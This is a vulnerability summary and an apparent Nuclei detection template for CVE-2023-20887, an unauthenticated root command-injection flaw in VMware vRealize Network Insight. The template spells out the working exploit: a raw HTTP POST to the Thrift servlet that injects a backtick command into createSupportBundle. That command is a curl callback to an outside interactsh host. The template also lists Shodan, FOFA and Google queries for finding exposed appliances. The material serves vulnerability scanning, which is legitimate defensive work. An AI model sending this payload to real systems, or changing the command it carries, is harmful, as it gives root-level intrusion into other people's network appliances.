VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are
vulnerable.
PoC
id: CVE-2023-20887
info:
name: VMware VRealize Network Insight - Remote Code Execution
author: sinsinology
severity: critical
description: |
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are
vulnerable.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches provided by VMware to mitigate this vulnerability.
reference:
- https://www.vmware.com/security/advisories/VMSA-2023-0012.html
- https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
- https://github.com/sinsinology/CVE-2023-20887
- http://packetstormsecurity.com/files/173761/VMWare-Aria-Operations-For-Networks-Remote-Command-Execution.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-20887
cwe-id: CWE-77
epss-score: 0.98281
epss-percentile: 0.99913
cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: vmware
product: vrealize_network_insight
shodan-query:
- title:"VMware vRealize Network Insight"
- http.title:"vmware vrealize network insight"
- http.title:"vmware aria operations"
fofa-query:
- title="VMware vRealize Network Insight"
- title="vmware aria operations"
- title="vmware vrealize network insight"
google-query:
- intitle:"vmware aria operations"
- intitle:"vmware vrealize network insight"
tags: cve2023,cve,packetstorm,vmware,rce,msf,vrealize,insight,oast,kev,vkev,vuln
variables:
cmd: "curl {{interactsh-url}}"
http:
- raw:
- |
POST /saas./resttosaasservlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-thrift
[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`{{cmd}}`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"rec":'
- type: word
part: header
words:
- "application/x-thrift"
- type: word
part: body
negative: true
words:
- "Provided invalid node Id"
- "Invalid nodeId"
- type: status
status:
- 200
# digest: 4a0a00473045022100f2f47b5e03606fcdc4863551030a519813339f446389cd061e9f8e260f2eccb4022041e09fff134e72bd41f84b07afba52e740f3fe584a1777ce375286cdc303719c:922c64590222798bb761d5b6d8e72950
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